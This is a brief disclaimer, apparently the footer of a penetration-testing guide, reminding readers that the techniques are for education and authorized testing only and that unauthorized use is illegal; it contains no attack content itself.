🔴 Reminder: This guide is strictly for educational purposes and authorized penetration testing. Using these techniques on any system without explicit written authorization is illegal. Always obtain written permission before testing.
Made for the security community — stay ethical, stay legal.